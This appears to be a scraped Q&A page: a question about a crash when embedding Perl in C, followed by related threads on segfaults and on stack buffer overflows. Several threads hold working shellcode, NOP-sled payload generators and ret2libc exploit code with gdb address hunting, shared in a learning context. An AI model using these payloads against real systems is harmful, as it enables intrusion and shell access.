Trying to use perl data structure (partially as a way to support associative array in C), but the following program keep crashing. It compiles fine but will crash on the line with newSVpv(). Not sure why.
#include <EXTERN.h> /* from the Perl distribution */
#include <perl.h> /* from the Perl distribution */
static PerlInterpreter *my_perl; /*** The Perl interpreter ***/
int main(int argc, char **argv, char **env) {
char *proto = "http";
SV* ret = newSVpv("http", 4);
sv_catpvn(ret, "://", 3);
STRLEN len = 1;
char *result = SvPV(ret, len);
printf("result: %p %d\n", result, len);
return 0;
}
The line to compile it is
gcc -g -o interp te1.c `perl -MExtUtils::Embed -e ccopts -e ldopts`
The perl I have is 5.14.2 running on Ubuntu 12.04.4 LTS.
Thanks for any tips!
UPDATE: Added the gdb trace. Thanks for asking.
gdb trace:
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b235a6 in Perl_newSVpv () from /usr/lib/libperl.so.5.14
(gdb) bt
#0 0x00007ffff7b235a6 in Perl_newSVpv () from /usr/lib/libperl.so.5.14
#1 0x0000000000400927 in main (argc=1, argv=0x7fffffffe1e8,
env=0x7fffffffe1f8) at te1.c:7
(gdb)
I'm usually calling C from Perl, rather than Perl from C, but I'm pretty sure that your problem is that you haven't copied the PERL_SYS_INIT3, perl_alloc, and perl_construct bits from the perlembed example and so you don't actually have a perl interpreter structure to work with. newSVpv is bombing out when it tries to access something through the nonexistent interpreter pointer.
The last three lines of that example (perl_destruct, perl_free, and PERL_SYS_TERM) should also be called at the end of your program as a matter of good practice.
Related
I am new to buffer overflow attacks.
I copy the shellcode from http://shell-storm.org/shellcode/files/shellcode-76.php
I wrote a c script to test the shellcode.
It looks like this:
char * shellcode = "\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57 \x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05";
int main(){
void (*f) ()= (void(*)())shellcode;
(*f)();
return 0;
}
It works well. It can generate a shell.
But when I wrote another c script, "tS.c", to test the shellcode, I got a segmentation fault.
My c script looks like:
void hello(){
char s[144];
gets(s);
printf("%s\n", s);
}
int main(){
hello();
return 0;
}
I use a python script, "sc.py", to generate my payload.
And it looks like:
s_storm = "\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
attack = s_storm
size = len(attack)
nops = '\x90'*(144 - size)
retAddr = 0x7fffffffde14
ex = nops + attack + '\x00'*8 + p64(retAddr)
print ex
The payload works in gdb, and it can successfully spawn a shell.
So I have no idea where I did wrong.
I compiled my c script by:
gcc tS.c -o ts -z execstack -fno-stack-protector -no-pie
I also turn off the aslr in Linux.
I have tried different ways to feed the payload to the process:
(python sc.py; cat)| ./ts
./ts <exploit
I am using Ubuntu64 and my Linux version is 5.0.0-37-generic.
Can someone please tell me where I did wrong or give me some advice about what should I read?
I've been tasked with locating the bug in the following code, and fixing it:
/* $Id: count-words.c 858 2010-02-21 10:26:22Z tolpin $ */
#include <stdio.h>
#include <string.h>
/* return string "word" if the count is 1 or "words" otherwise */
char *words(int count) {
char *words = "words";
if(count==1)
words[strlen(words)-1] = '\0';
return words;
}
/* print a message reportint the number of words */
int print_word_count(char **argv) {
int count = 0;
char **a = argv;
while(*(a++))
++count;
printf("The sentence contains %d %s.\n", count, words(count));
return count;
}
/* print the number of words in the command line and return the number as the exit code */
int main(int argc, char **argv) {
return print_word_count(argv+1);
}
The program works well for every number of words given to it, except for one word. Running it with ./count-words hey will cause a segmentation fault.
I'm running my code on the Linux subsystem on Windows 10 (that's what I understand it is called at least...), with the official Ubuntu app.
When running the program from terminal, I do get the segmentation fault, but using gdb, for some reason the program works fine:
(gdb) r hey
Starting program: .../Task 0/count-words hey
The sentence contains 1 word.
[Inferior 1 (process 87) exited with code 01]
(gdb)
After adding a breakpoint on line 9 and stepping through the code, I get this:
(gdb) b 9
Breakpoint 1 at 0x400579: file count-words.c, line 9.
(gdb) r hey
Starting program: /mnt/c/Users/tfrei/Google Drive/BGU/Semester F/Computer Architecture/Labs/Lab 2/Task 0/count-words hey
Breakpoint 1, words (count=1) at count-words.c:9
9 if(count==1)
(gdb) s
10 words[strlen(words)-1] = '\0';
(gdb) s
strlen () at ../sysdeps/x86_64/strlen.S:66
66 ../sysdeps/x86_64/strlen.S: No such file or directory.
(gdb) s
67 in ../sysdeps/x86_64/strlen.S
(gdb) s
68 in ../sysdeps/x86_64/strlen.S
(gdb)
The weird thing is that when I ran the same thing from a "true" Ubuntu (using a virtual machine on Windows 10), the segmentation fault did happen on gdb.
I tend to believe that the reason for this is somehow related to my runtime environment (the "Ubuntu on Windows" thing), but could not find anything that will help me.
This is my makefile:
all:
gcc -g -Wall -o count-words count-words.c
clean:
rm -f count-words
Thanks in advance
I'm asking why it didn't happen with gdb
It did happen with GDB, when run on a real (or virtual) UNIX system.
It didn't happen when running under the weird "Ubuntu on Windows" environment, because that environment is doing crazy sh*t. In particular, for some reason the Windows subsystem maps usually readonly sections (.rodata, and probably .text as well) with writable permissions (which is why the program no longer crashes), but only when you run the program under debugger.
I don't know why exactly Windows does that.
Note that debuggers do need to write to (readonly) .text section in order to insert breakpoints. On a real UNIX system, this is achieved by ptrace(PTRACE_POKETEXT, ...) system call, which updates the readonly page, but leaves it readonly for the inferior (being debugged) process.
I am guessing that Windows is imperfectly emulating this behavior (in particular does not write-protect the page after updating it).
P.S. In general, using "Ubuntu on Windows" to learn Ubuntu is going to be full of gotchas like this one. You will likely be much better off using a virtual machine instead.
This function is wrong
char *words(int count) {
char *words = "words";
if(count==1)
words[strlen(words)-1] = '\0';
return words;
}
The pointer words points to the string literal "words". Modifying a string
literal is undefined behaviour and in most system string literals are stored in
read-only memory, so doing
words[strlen(words)-1] = '\0';
will lead into a segfault. That's the behaviour you see in Ubuntu. I don't know
where strings literals are stored in windows executables, but modifying a string
literal is undefined behaviour and anything can happen and it's pointless to try
to deduce why sometimes things work and why sometimes things don't work. That's
the nature of undefined behaviour.
edit
Pablo thanks, but I'm not asking about the bug itself , and why the segmentation fault happened. I'm asking why it didn't happen with gdb. Sorry if that was not clear enough.
I don't know why it doesn't happent to your, but when I run your code on my gdb I get:
Reading symbols from ./bug...done.
(gdb) b 8
Breakpoint 1 at 0x6fc: file bug.c, line 8.
(gdb) r hey
Starting program: /tmp/bug hey
Breakpoint 1, words (count=1) at bug.c:8
8 words[strlen(words)-1] = '\0';
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0x0000555555554713 in words (count=1) at bug.c:8
8 words[strlen(words)-1] = '\0';
(gdb)
I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
Using gdb, I've been able to determine the following:
Address for "system": 0x4c4ab0
Address for "exit": 0x4ba520
The string "/bin/sh" resides in memory at: 0xbfffff13
I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.
When I run the program, however, I get the following:
sh: B���: command not found
Segmentation fault (core dumped)
I'm really not sure what I'm doing wrong...
[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:
export MYSHELL="/bin/sh"
You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:
> (gdb) break main
>
> (gdb) run
>
> (gdb) print &system
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
>
> (gdb) find &system,+9999999,"/bin/sh"
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search.
> 1 pattern found.
Good luck.
The problem in your program is the pointer you suppose to point to the /bin/sh string is actually not pointing to /bin/sh.
You get this address using gdb. But even without stack randomization, the stack address of your shell variable is different when the program is run under gdb than without gdb. gdb is putting some debug information into the stack and this will shift your shell variables.
To convince yourself here is a quick and dirty program to find a /bin/sh string in the stack:
#include <stdio.h>
#include <string.h>
int main(void)
{
char s[] = "/bin/sh";
char *p = (char *) 0xbffff000;
while (memcmp(++p, s, sizeof s));
printf("%s\n", p);
printf("%p\n", p);
}
First double check that stack randomization is disabled:
ouah#maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah#maou:~$
Ok, no stack randomization.
Let's compile the program and run it outside gdb:
ouah#maou:~$ gcc -std=c99 tst.c
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$
Now let's run it under gdb:
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4
Program exited normally.
(gdb) quit
ouah#maou:~$
As you can see the address of the /bin/sh string is different when the program is run inside or outside gdb.
Now what you can do is to use a variant of this program to find the true address of your string or a more elegant approach, get the address of a /bin/sh string directly from the libc (as you can guess there are a few occurrences).
I am learning about ret2libc buffer overflow exploits to bypass NX.
My vulnerable code (vuln.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[512];
if (argc != 2)
printf("NO\n");
else {
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
}
Compiled with this command: # gcc -o vuln vuln.c
I then created this simple ret2libc exploit in ruby (exploit.rb):
p = "A"*524
p += [0xb7e9ef10].pack('<I') # system()
p += [0xb7e79e46].pack('<I') # nomal ret val
p += [0xbffff75a].pack('<I') # "/bin/bash"
print(p)
If it run it in gdb with (gdb) r $(ruby exploit.rb) it gives me a nice bash shell.
I then try to run it in a normal shell with # ./vuln $(ruby exploit.rb), but instead of giving me a shell it gives me this instead: sh: 1: g:0:1: not found
ASLR is disabled and the only protection enabled is NX, I think.
Any help is appreciated.
Edit:
I am running this on i686 in case that helps.
The reason for shifting is the execution environment.
user#feynman:~$ ./getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff82
user#feynman:~$ /home/user/getenv PWN
PWN ("/home/user/pwn") is at 0xbfffff70
Here the way of launching getenv is affecting address of the PWN.
You achieved code execution but the address of the SHELL env var is off. Try [address of shell in gdb] + 4, or in gdb, x/s 0xbffff75a+4.
I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.